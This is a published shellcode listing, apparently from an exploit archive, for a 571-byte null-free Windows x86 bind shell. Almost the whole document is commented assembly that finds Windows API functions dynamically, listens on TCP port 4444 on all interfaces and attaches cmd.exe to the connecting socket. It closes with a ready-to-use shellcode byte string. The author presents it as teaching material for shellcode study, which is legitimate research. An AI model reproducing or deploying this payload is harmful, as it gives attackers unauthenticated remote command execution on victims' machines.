Windows/x86 Dynamic Bind Shell / Null-Free Shellcode

571 bytes small Microsoft Windows x86 dynamic bind shell and null-free shellcode.


MD5 | 61ae8434a5edb8b37775ebb965df9ff6

# Shellcode Title: Windows/x86 - Dynamic Bind Shell + Null-Free Shellcode (571 Bytes)
# Shellcode Author: Bobby Cooke
# Date: 2020-01-30
# Technique: PEB & Export Directory Table
# Tested On: Windows 10 Pro (x86) 10.0.18363 Build 18363
# Shellcode Function: When executed, this shellcode creates a cmd.exe bind shell, using the CreateProcessA function on TCP port 4444, on all IP interfaces.
# Reason for Creating: When learning x86 Windows Dynamic Shellcoding, I experienced great difficulty in finding a detailed bind shell example to learn from. Their are many great examples for creating dynamic MessageBox shellcode, dynamic bind shellcode for x86 Linux, and many examples of Windows version dependent shellcode; with hardcoded library addresses. Metasploit has a great, compact, reliable, dynamic Windows x86 bind shellcode, but trying to reverse engineer it, to learn, is no small task. MetaSploits payload is great because it uses the best known shellcoding shortcut techniques. Unfortunately for the Security Researcher new to x86 Windows Shellcoding these shortcuts are very advanced concepts to take on right from the start. Hopefully this horribly large shellcode will help someone learn x86 Dynamic Windows shellcoding easier than the path I took.
# Special Thanks & Credits to: Skape, 0xDarkVortex/paranoidninja, Corelan, Offensive Security, Vivek & Pentester Academy, Tulpa, sh3llc0d3r

# Create a new stack frame
push ebp ; push current base pointer to the stack
mov ebp, esp ; Set Base Stack Pointer for new Stack-Frame
sub esp, 0x60 ; Decrement the stack by 96 to create space for saving pointers

# Push string "GetProcAddress",0x00 onto the stack
xor eax, eax ; clear eax register
mov ax, 0x7373 ; AX is the lower 16-bits of the 32bit EAX Register
push eax ; ss : 73730000 // EAX = 0x00007373 // \x73=ASCII "s"
push 0x65726464 ; erdd : 65726464 // "GetProcAddress"
push 0x41636f72 ; Acor : 41636f72
push 0x50746547 ; PteG : 50746547
mov [ebp-0x4], esp ; save PTR to string at bottom of stack (ebp)

# Find Base Address of the kernel32.dll Dynamically Linked Library
; - In Windows, the FS Segment Register will always point to the Thread Environment Block (TEB).
; - This shellcode is dynamic & does not rely on any hardcoded addresses.
; - The addresses in the comments are used as an example and will be different for you.
; - The easiest way to get the WinDbg commands to work is to connect to the Windows Symbol Server.
; - On new versions of Windows, kernel32.dll is the 3rd dll in the Initialization Order Module List.
; - On older versions of Windows, kernel32.dll was the 2nd dll. Now the 2nd dll is kernelbase.dll.
; - Interestingly kernelbase.dll also has functions like LoadLibraryA & GetProcAddress.
; - kernelbase.dll can be used instead of kernel32.dll sometimes, but we will stick with kernel32.dll.
xor eax, eax ; clear eax register
mov eax, [fs:eax+0x30] ; #1| Get PEB Address from within the TEB; leveraging the FS Register.
; WinDbg> !teb
; TEB at 002e9000
; WinDbg> dt nt!_TEB 002e9000
; +0x030 ProccessEnviromentBlock: 0x002e8000 _PEB
; EAX = 0x002e8000 (Address_of_PEB)
mov eax, [eax+0xc] ; #2| Get the LDR Address from within the PEB.
; WinDbg> dt nt!_PEB 002e8000
; +0x00c Ldr : 0x77becb80 _PEB_LDR_DATA
; EAX = 0x77becb80 (Address_of_LDR)
mov eax, [eax+0x1c] ; #3| Get the first entry in the Initialization Order Module List (ntdll.dll)
; WinDbg> dt nt!_PEB_LDR_DATA 0x77becb80
; +0x01c InInitializationOrderModuleList : _LIST_ENTRY
; WinDbg> db 0x77becb80+1c
; 77becb9c 90 1d 5f 00 // First Entry is 0x005f1d90 (reverse for Little Endian)
; WinDbg> db 0x5f1d90
; #00#01#02#03#04#05#06#07#08#09#0a#0b
; 005f1d90 38 26 5f 00 9c cb be 77-00 00 ad 77
; - we see that 0x5f1d90+0x8 is the base address of ntdll.dll - 0x77ad0000
; - ModLoad: 77ad0000 ntdll.dll
; - We also see that the next entry in the list is at 0x005f2638
; EAX = 0x005f1d90 (First Entry of InInitialzationOrderModuleList - ntdll.dll)
; #4| Get the second entry in the Initialization Order Module List (kernelbase.dll)
mov ebx, eax ; - Should be 'mov eax, [eax]', but the opcode contains a null byte 8B00
mov eax, [ebx] ; - Avoid null byte
; WinDbg> dt nt!_LIST_ENTRY 0x5f1d90
; +0x000 Flink : 0x005f2638 _LIST_ENTRY
; WinDbg> db 0x005f2638
; 005f2638 78 22 5f 00 90 1d 5f 00-00 00 56 75
; - We see that 0x005f2638+0x8 is the base address of kernelbase.dll - 0x75560000
; - ModLoad: 75560000 C:\Windows\System32\KERNELBASE.dll
; - We also see that the next entry in the list is at 0x005f2278
; EAX = 0x005f2638 (Second Entry of InInitialzationOrderModuleList - kernelbase.dll)
; #5| Get the third entry in the Initialization Order Module List (kernel32.dll)
mov ebx, eax ; - Should be 'mov eax, [eax]', but the opcode contains a null byte 8B00
mov eax, [ebx] ; - Avoid null byte
; WinDbg> dt nt!_LIST_ENTRY 0x005f2638
; +0x000 Flink : 0x005f2278 _LIST_ENTRY
; WinDbg> db 0x005f2278
; 005f2278 9c cb be 77 38 26 5f 00-00 00 22 76
; - We see that 0x005f2278+0x8 is the base address of kernel32.dll - 0x76220000
; - ModLoad: 76220000 C:\Windows\System32\KERNEL32.DLL
; EAX = 0x005f2278 (Third Entry of InInitialzationOrderModuleList - kernel32.dll)
mov eax, [eax+0x8] ; move the kernel32.dll base address into the EAX register
; EAX = 0x76220000 (Base address of kernel32.dll)
mov [ebp-0x8], eax ; Save the base address of kernel32.dll in the 2nd from bottom position on our stack

# Find Base Address of GetProcAddress Symbol
; - Now that we have the base address of kernel32.dll, we will use it to find the address for the Symbol(function) GetProcAddress.
; - GetProcAddress() will then be used to find the addresses of all other Symbols(functions) that we need.
; - The Export Table technique is used to find the address of GetProcAddress (as detailed in Skapes Windows Shellcoding Paper).
mov ebx, [eax+0x3c] ; save Relative Virtual Address (RVA/Offset) of New_Exe_Header to ebx.
; WinDbg> db 0x76220000+3c
; 7622003c f8 00 00 00 // EBX = 0x000000f8 = Offset to New EXE Header
add ebx, eax ; (kernel32.dll baseAddr) + (RVA New_Exe_Header) = Address of New_Exe_Header
; 0x76220000 + 0xf8 = 0x762200f8
; EBX = 0x762200f8 (Address of new Header)
mov ebx, [ebx+0x78] ; (RVA of New Exe Header) + 0x78 = RVA of Export-Table
; WinDbg> db 0x762200f8+0x78
; 76220170 b0 77 07 00 // EBX = 0x000777b0
add ebx, eax ; (kernel32.dll baseAddr) + (RVA Export-Table) = Address of Export-Table
; 0x76220000 + 0x000777b0 = 0x762977b0
; EBX now holds the address of the Export Table for kernel32.dll (0x762977b0)
mov edi, [ebx+0x20] ; PTR to RVA of Name-Pointer Table
; WinDbg> db 0x762977b0+0x20
; 762977d0 e0 90 07 00 // EDI = 0x000790e0
add edi, eax ; (kernel32.dll baseAddr) + (RVA Name-Pointer Table) = Address of Name-Pointer Table
; 0x76220000 + 0x000790e0 = 0x762990e0
mov [ebp-0xC], edi ; save Address of Name-Pointer Table in the 3rd from bottom position in our stack-frame
mov ecx, [ebx+0x24] ; PTR to RVA of Ordinal Table
add ecx, eax ; (kernel32.dll baseAddr) + (RVA Ordinal Table) = Address of Ordinal Table
mov [ebp-0x10], ecx ; save PTR to Ordinal Table Address at 4th from bottom of stack (ebp-16)

mov edx, [ebx+0x1c] ; PTR to RVA of Address Table
add edx, eax ; (kernel32.dll baseAddr) + (RVA Address Table) = Address of Address Table
mov [ebp-0x14], edx ; save PTR to Address Table Address at 5th from bottom of stack (ebp-20)

mov edx, [ebx+0x14] ; Value of Number of Functions/Symbols within the Tables

xor eax, eax ; Counter = 0

loop:
mov edi, [ebp-0xC] ; Address of the Name-Pointer Table
mov esi, [ebp-0x4] ; PTR to string "GetProcAddress",0x00
xor ecx, ecx ; clear ecx register -- used for counters/loops
cld ; clear direction flag, DF=0 -- Process strings from left to right
mov edi, [edi+eax*4] ; Entries in Name Pointer Table are 4 bytes long
; edi = RVA of Nth entry = (Address of Name-Pointer Table) + (Counter * 4)
add edi, [ebp-0x8] ; edi = address of string = (kernel32.dll base addr) + (RVA of Nth entry)
add cx, 0xf ; ecx = length of string to compare = sizeof("GetProcAddress") = 15 (14 Letters + 1 String Terminator Char)
repe cmpsb ; compare first 15 bytes of string. esi cmp edi
; if equal ZF=1, if not ZF=0
jz found ; if strings match end loop, else increment eax and loop again
inc eax ; counter ++
cmp eax, edx ; check if eax = Value of Number of Functions/Symbols within the Tables
jb loop ; If eax != edx, restart the loop

found:
; The Counter (eax) now holds the poisition of GetProcAddress within the table
mov ecx, [ebp-0x10] ; ecx = Address of Ordinal Table
mov edx, [ebp-0x14] ; edx = Address of Address Table
mov ax, [ecx + eax*2] ; ax = ordinal number = (Address of Ordinal Table) + (counter * 2)
mov eax, [edx + eax*4] ; eax = RVA of function = var20 + (ordinal * 4)
add eax, [ebp-0x8] ; eax = address of GetProcAddress = (RVA of GetProcAddress) + (kernel32.dll base addr)
; Address of GetProcAddress is now in EAX
mov [ebp-0x18], eax ; save Address of GetProcAddress onto Stack 0x18=24; 6th from bottom

; Call GetProcAddress(&kernel32.dll, PTR "LoadLibraryA"0x00)
; Call GetProcAddress(hModule, lpProcName)
; hModule: address of the DLL module that contains the function.
; lpProcName: A Pointer to the beginning of an ASCII string of the functions name; null terminated.
xor edx, edx ; EDX = 0x00000000
push edx ; null terminator for LoadLibraryA string
push 0x41797261 ; Ayra : 41797261 // "LoadLibraryA",0x00
push 0x7262694c ; rbiL : 7262694c
push 0x64616f4c ; daoL : 64616f4c
push esp ; $hModule -- push the address of the start of the string onto the stack
push dword [ebp-0x8] ; $lpProcName -- push base address of kernel32.dll to the stack
mov eax, [ebp-0x18] ; Move the address of GetProcAddress into the EAX register
call eax ; Call the GetProcAddress Function.
; The address of the queried function is returned into the EAX register.
mov [ebp-0x1c], eax ; save Address of LoadLibraryA onto Stack 0x1c=28; 7th from bottom


; Call LoadLibraryA(PTR "ws2_32.dll"0x00)
; push "ws2_32",0x00 (Null terminated) to the stack and save pointer
xor eax, eax ; clear eax
mov ax, 0x3233 ; ASCII: 3 = 0x33, ASCII: 2 = 0x32
push eax ; push 0x00,0x00,"23" to stack (for ws2_32.dll)
push 0x5f327377 ; push "_2sw" to the stack (in reverse)
push esp ; push the pointer to the string to the stack

mov ebx, [ebp-0x1c] ; LoadLibraryA Address to ebx register
call ebx ; call the LoadLibraryA Function to load ws2_32.dll
mov [ebp-0x20], eax ; save Address of ws2_32.dll onto Stack at 0x20=32; 8th from bottom

; Call GetProcAddress(PTR *ws2_32.dll, "WSAStartup"0x00)
xor edx, edx
mov dx, 0x7075 ; pu : 7075
push edx ; push "up",0x0000 to stack from end of string
push 0x74726174 ; trat : 74726174
push 0x53415357 ; SASW : 53415357
push esp ; push pointer to string to stack for 'WSAStartup',0x00
push dword [ebp-0x20] ; push base address of ws2_32.dll to stack
mov eax, [ebp-0x18] ; PTR to GetProcAddress to EAX
call eax ; GetProcAddress(PTR *ws2_32.dll, "WSAStartup"0x00)
; EAX = WSAStartup Address
mov [ebp-0x24], eax ; save Address of WSAStartup onto Stack 0x24=36; 9th from bottom.


; Call WSAStartup - WSAStartUp(MAKEWORD(2, 2), wsadata_pointer)
; int WSAStartup(WORD wVersionRequired, LPWSADATA lpWSAData)
xor ebx, ebx ; EBX = 0x00000000
mov bx, 0x0190
sub esp, ebx
push esp
push ebx
mov eax, [ebp-0x24] ; WSAStartup Address
call eax ; call WSAStartUp() to enable tcp networking


; Call GetProcAddress(PTR *ws2_32.dll, "WSASocketA"0x00)
xor edx, edx
mov dx, 0x4174 ; At : 4174 // "WSASocketA",0x0000 string
push edx ; push "tA",0x0000 to stack from end of string
push 0x656b636f ; ekco : 656b636f
push 0x53415357 ; SASW : 53415357
push esp ; push pointer to string to stack for 'WSASocketA',0x00
push dword [ebp-0x20] ; push base address of ws2_32.dll to stack
mov eax, [ebp-0x18] ; PTR to GetProcAddress to EAX
call eax ; GetProcAddress(PTR *ws2_32.dll, "WSASocketA"0x00)
; EAX = WSASocketA Address
mov [ebp-0x28], eax ; save Address of WSASocketA onto Stack 0x28=40

; Call WSASocketA( AF_INET = 2, SOCK_STREAM = 1, TCP = 6, NULL, NULL, NULL);
xor ebx, ebx ; clear ebx
push ebx ; dwFlags = null
push ebx ; g(group) = null
push ebx ; lpProtocolInfo = null
xor ecx, ecx ; clear ecx
mov cl, 6 ; IPPROTO_TCP = 6 // use TCP
push ecx ; push protocol to the stack
inc ebx ; SOCK_STREAM = 1 // for TCP Socket
push ebx ; push type (of socket) to stack
inc ebx ; AF_INET = 2 // Use IPv4
push ebx ; Push Address Family (af) ipv4 to stack
mov eax, [ebp-0x28] ; load address of WSASocketA() into eax
call eax ; Call the WSASocketA() Function
; EAX = Handle to NewSocket
mov [ebp-0x2c], eax ; save Address New Socket Handle onto Stack 0x2c=44

; struct sockaddr_in { AF_INET = 2; p4444 = 0x5c11; INADDR_ANY = 0x00000000; };
xor ebx, ebx ; clear ebx
push ebx ; IP address = INADDR_ANY
push word 0x5c11 ; 0x115c = port 4444
add bl, 2 ; AF_INET = 2
push word bx ; push ipv4 af to stack
mov [ebp-0x30], esp ; save Address of sockaddr_in struct onto Stack 0x30=48

; Call GetProcAddress(PTR *ws2_32.dll, "bind"0x00)
xor ecx, ecx
push ecx ; Null terminate string "bind" on stack
push 0x646e6962 ; dnib : 646e6962 - push "bind"
push esp ; push pointer-to-string to stack for 'bind',0x00
push dword [ebp-0x20] ; push base address of ws2_32.dll to stack
mov eax, [ebp-0x18] ; PTR to GetProcAddress to EAX
call eax ; GetProcAddress(PTR *ws2_32.dll, "bind"0x00)
; EAX = bind base-address
mov [ebp-0x34], eax ; save Address of bind onto Stack 0x34=52

; Call bind(ptr socketHandle, ptr sockaddr_in, sizeof(sockaddr_in) = 16);
push byte 16 ; push size of sockaddr_in struct
push dword [ebp-0x30] ; Push pointer to sockaddr_in
push dword [ebp-0x2c] ; push socket handle returned from WSASocketA()
mov eax, [ebp-0x34] ; load address of bind()
call eax ; Call the bind() function

; Call GetProcAddress(PTR *ws2_32.dll, "listen"0x00)
xor ecx, ecx
mov cx, 0x6e65 ; ne : 6e65 // "listen",0x0000 string
push ecx ; push "en",0x00,0x00 to stack
push 0x7473696c ; tsil : 7473696c - push "list" to stack
push esp ; push pointer-to-string to stack for 'listen',0x00
push dword [ebp-0x20] ; push base address of ws2_32.dll to stack
mov eax, [ebp-0x18] ; PTR to GetProcAddress to EAX
call eax ; GetProcAddress(PTR *ws2_32.dll, "listen")
; EAX = listen() base-address
mov [ebp-0x38], eax ; save Address of listen() onto Stack 0x38=56

; Call listen(ptr socketHandle, int backlog);
xor ecx, ecx
push ecx ; backlog is used for multple connections. We only need 1, so set to zero.
push dword [ebp-0x2c] ; push socket handle returned from WSASocketA()
mov eax, [ebp-0x38] ; load address of listen() that we saved to the stack eariler
call eax ; Call the listen() function

; Call GetProcAddress(PTR *ws2_32.dll, "accept"0x00)
xor ecx, ecx
mov cx, 0x7470 ; tp : 7470 // "accept",0x0000 string
push ecx ; push "en",0x00,0x00 to stack
push 0x65636361 ; ecca : 65636361 - push "acce" to stack
push esp ; push pointer-to-string to stack for 'accept',0x00
push dword [ebp-0x20] ; push base address of ws2_32.dll to stack
mov eax, [ebp-0x18] ; PTR to GetProcAddress to EAX
call eax ; GetProcAddress(PTR *ws2_32.dll, "accept")
; EAX = listen() base-address
mov [ebp-0x3c], eax ; save Address of accept() onto Stack 0x3c=60

; Call accept(ptr socketHandle, ptr sockaddr_in, ptr addrlen(optional))
; sockaddr_in is optional here. It is for filtering the connecting host
xor ecx, ecx
push ecx ; push Null for optional ptr addrlen
push ecx ; push Null for optional ptr sockaddr_in
push dword [ebp-0x2c] ; push socket handle returned from WSASocketA()
mov eax, [ebp-0x3c] ; load address of accept() that we saved eariler
call eax ; Call the accept() function
mov [ebp-0x40], eax ; save Handle to clientSocket, returned form accept(), onto Stack 0x40=64

; struct _PROCESS_INFORMATION {PTR hProcess; PTR hThread; DWORD dwProcessId; DWORD dwThreadId; }
mov edx, 0x646d6363 ; "ccmd"
shr edx, 8 ; edx = "cmd",0x00 // shr edx, 8 = Shifts the edx register to the right 8 bits
push edx
mov [ebp-0x44], esp ; save PTR to String "cmd",0x00 on stack
xor edx, edx ; clear edx register
sub esp, 0x10 ; Decrement the stack by 16 bytes (0x10)
mov [ebp-0x48], esp ; save Address of PROCESS_INFORMATION struct onto Stack 0x48=72

; typedef struct _STARTUPINFOA { DWORD cb; LPSTR lpReserved; LPSTR lpDesktop; LPSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; }
xor edx, edx ; clear edx register
; Redirect STDIN, STDOUT, STDERR to the clientSocket returned from accept() when client connected (similar to dup2 in linux)
push dword [ebp-0x40] ; HANDLE hStdError = Handle to clientSocket
push dword [ebp-0x40] ; HANDLE hStdOutput = Handle to clientSocket
push dword [ebp-0x40] ; HANDLE hStdInput = Handle to clientSocket
push edx
push edx
xor eax, eax ; clear eax register
inc eax
rol eax, 0x08
inc eax
push eax
push edx ; DWORD dwFlags = Null
push edx ; DWORD dwFillAttribute = Null
push edx ; DWORD dwYCountChars = Null
push edx ; DWORD dwXCountChars = Null
push edx ; DWORD dwXSize = Null
push edx ; DWORD dwY = Null
push edx ; DWORD dwX = Null
push edx ; PTR lpTitle = Null
push edx ; PTR lpDesktop = Null
push edx ; PTR lpReserved = Null
xor eax, eax ; clear eax register
add al, 0x44 ; DWORD cb = 0x44(68) // Sizeof STARTUP_INFO
push eax ; push cb onto the stack
mov [ebp-0x4c], esp ; save pointer to STARTUP_INFO struct onto Stack 0x4c=76

; Call GetProcAddress(PTR *kernel32.dll, "CreateProcessA"0x00)
xor edx, edx
mov dx, 0x4173 ; As : 4173 // "CreateProcessA",0x0000 string
push edx ; push "sA",0x0000 to stack from end of string
push 0x7365636f ; seco : 7365636f
push 0x72506574 ; rPet : 72506574
push 0x61657243 ; aerC : 61657243
push esp ; push pointer to string to stack for 'CreateProcessA',0x00
push dword [ebp-0x8] ; push base address of kernel32.dll to stack
mov eax, [ebp-0x18] ; PTR to GetProcAddress to EAX
call eax ; GetProcAddressA(PTR *kernel32.dll, "CreateProcessA"0x00)
; EAX = CreateProcessA Address
mov [ebp-0x50], eax ; save Address of CreateProcessA onto Stack 0x50=80

; CreateProcessA(NULL, Command, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
xor edx, edx ; clear edx register
push dword [ebp-0x48] ; PROCESS_INFORMATION
push dword [ebp-0x4c] ; STARTUP_INFO
push edx ; lpCurrentDirectory = Null
push edx ; lpEnvt = Null
push edx ; dwCreationFlags = 0/Null
xor eax, eax ; clear eax
inc eax ; bInheritHandles = True = 1
push eax ; push 1 to stack for bInheritHandles
push edx ; lpThdAttrs = Null
push edx ; lpPsAttrs = Null
push dword [ebp-0x44] ; lpCmdLine = push PTR to String "cmd",0x00 on stack
push edx ; lpAppName = Null
mov ebx, [ebp-0x50] ; Address for CreateProcessA
call ebx ; create process cmd

; Call GetProcAddress(PTR *kernel32.dll, "ExitProcess"0x00)
xor ecx, ecx
mov ecx, 0x73736501 ; sse : 73736501 = 0x01,"ess" // "ExitProcess",0x0000 string
shr ecx, 8 ; ecx = "ess",0x00
push ecx ; sse : 00737365
push 0x636f7250 ; corP : 636f7250
push 0x74697845 ; tixE : 74697845
push esp ; push pointer to string to stack for 'ExitProcess',0x00
push dword [ebp-0x8] ; push base address of kernel32.dll to stack
mov eax, [ebp-0x18] ; PTR to GetProcAddressA to EAX
call eax ; GetProcAddressA(PTR *kernel32.dll, "ExitProcess"0x00)
; EAX = ExitProcess Address
mov [ebp-0x54], eax ; save Address of ExitProcess onto Stack 0x54=84

; Call ExitProcess(exitcode)
xor edx, edx
push eax
mov eax, [ebp-0x54] ; ExitProcess(exitcode)
call eax


; sub esp, 0x60 = Dec stack by 0x96 for shellcode variables
; [ebp-0x4] = PTR to string at bottom of stack (ebp)
; [ebp-0x8] = Save the base address of kernel32.dll in the 2nd from bottom position on our stack
; [ebp-0xC] = Address of Name-Pointer Table in the 3rd from bottom position in our stack-frame
; [ebp-0x10] = PTR to Ordinal Table Address at 4th from bottom of stack (ebp-16)
; [ebp-0x14] = PTR to Address Table Address at 5th from bottom of stack (ebp-20)
; [ebp-0x18] = Address of GetProcAddress onto Stack 0x18=24; 6th from bottom
; [ebp-0x1c] = Address of LoadLibraryA onto Stack 0x1c=28; 7th from bottom
; [ebp-0x20] = Address of ws2_32.dll onto Stack at 0x20=32; 8th from bottom
; [ebp-0x24] = Address of WSAStartup onto Stack 0x24=36; 9th from bottom.
; [ebp-0x28] = Address of WSASocketA onto Stack 0x28=40
; [ebp-0x2c] = Address New Socket Handle onto Stack 0x2c=44
; [ebp-0x30] = Address of sockaddr_in struct onto Stack 0x30=48
; [ebp-0x34] = Address of bind onto Stack 0x34=52
; [ebp-0x38] = Address of listen() onto Stack 0x38=56
; [ebp-0x3c] = Address of accept() onto Stack 0x3c=60
; [ebp-0x40] = Handle to clientSocket, returned form accept(), onto Stack 0x40=64
; [ebp-0x44] = PTR to String "cmd",0x00 on stack 0x44=68
; [ebp-0x48] = Pointer to PROCESS_INFORMATION struct onto Stack 0x48=72
; [ebp-0x4c] = Pointer to STARTUP_INFO struct onto Stack 0x4c=76
; [ebp-0x50] = Address of CreateProcessA onto Stack 0x50=80
; [ebp-0x54] = Address of ExitProcess onto Stack 0x54=84

# Compiled on Kali with nasm
;root@kali# nasm -f win32 bindShell.asm -o bindShell.o
; for i in $(objdump -D bindShell.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
# Preformated for the lazy
;shellcode = "\x55\x89\xe5\x83\xec\x60\x31\xc0\x66\xb8\x73\x73\x50\x68\x64\x64\x72\x65\x68\x72\x6f\x63\x41\x68\x47\x65"
;shellcode += "\x74\x50\x89\x65\xfc\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x40\x1c\x89\xc3\x8b\x03\x89\xc3\x8b\x03\x8b"
;shellcode += "\x40\x08\x89\x45\xf8\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf4\x8b\x4b\x24"
;shellcode += "\x01\xc1\x89\x4d\xf0\x8b\x53\x1c\x01\xc2\x89\x55\xec\x8b\x53\x14\x31\xc0\x8b\x7d\xf4\x8b\x75\xfc\x31\xc9"
;shellcode += "\xfc\x8b\x3c\x87\x03\x7d\xf8\x66\x83\xc1\x0f\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf0\x8b\x55\xec"
;shellcode += "\x66\x8b\x04\x41\x8b\x04\x82\x03\x45\xf8\x89\x45\xe8\x31\xd2\x52\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72"
;shellcode += "\x68\x4c\x6f\x61\x64\x54\xff\x75\xf8\x8b\x45\xe8\xff\xd0\x89\x45\xe4\x31\xc0\x66\xb8\x33\x32\x50\x68\x77"
;shellcode += "\x73\x32\x5f\x54\x8b\x5d\xe4\xff\xd3\x89\x45\xe0\x31\xd2\x66\xba\x75\x70\x52\x68\x74\x61\x72\x74\x68\x57"
;shellcode += "\x53\x41\x53\x54\xff\x75\xe0\x8b\x45\xe8\xff\xd0\x89\x45\xdc\x31\xdb\x66\xbb\x90\x01\x29\xdc\x54\x53\x8b"
;shellcode += "\x45\xdc\xff\xd0\x31\xd2\x66\xba\x74\x41\x52\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\xff\x75\xe0\x8b"
;shellcode += "\x45\xe8\xff\xd0\x89\x45\xd8\x31\xdb\x53\x53\x53\x31\xc9\xb1\x06\x51\x43\x53\x43\x53\x8b\x45\xd8\xff\xd0"
;shellcode += "\x89\x45\xd4\x31\xdb\x53\x66\x68\x11\x5c\x80\xc3\x02\x66\x53\x89\x65\xd0\x31\xc9\x51\x68\x62\x69\x6e\x64"
;shellcode += "\x54\xff\x75\xe0\x8b\x45\xe8\xff\xd0\x89\x45\xcc\x6a\x10\xff\x75\xd0\xff\x75\xd4\x8b\x45\xcc\xff\xd0\x31"
;shellcode += "\xc9\x66\xb9\x65\x6e\x51\x68\x6c\x69\x73\x74\x54\xff\x75\xe0\x8b\x45\xe8\xff\xd0\x89\x45\xc8\x31\xc9\x51"
;shellcode += "\xff\x75\xd4\x8b\x45\xc8\xff\xd0\x31\xc9\x66\xb9\x70\x74\x51\x68\x61\x63\x63\x65\x54\xff\x75\xe0\x8b\x45"
;shellcode += "\xe8\xff\xd0\x89\x45\xc4\x31\xc9\x51\x51\xff\x75\xd4\x8b\x45\xc4\xff\xd0\x89\x45\xc0\xba\x63\x63\x6d\x64"
;shellcode += "\xc1\xea\x08\x52\x89\x65\xbc\x31\xd2\x83\xec\x10\x89\x65\xb8\x31\xd2\xff\x75\xc0\xff\x75\xc0\xff\x75\xc0"
;shellcode += "\x52\x52\x31\xc0\x40\xc1\xc0\x08\x40\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x44\x50\x89"
;shellcode += "\x65\xb4\x31\xd2\x66\xba\x73\x41\x52\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\xff"
;shellcode += "\x75\xf8\x8b\x45\xe8\xff\xd0\x89\x45\xb0\x31\xd2\xff\x75\xb8\xff\x75\xb4\x52\x52\x52\x31\xc0\x40\x50\x52"
;shellcode += "\x52\xff\x75\xbc\x52\x8b\x5d\xb0\xff\xd3\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63"
;shellcode += "\x68\x45\x78\x69\x74\x54\xff\x75\xf8\x8b\x45\xe8\xff\xd0\x89\x45\xac\x31\xd2\x50\x8b\x45\xac\xff\xd0"

Related Posts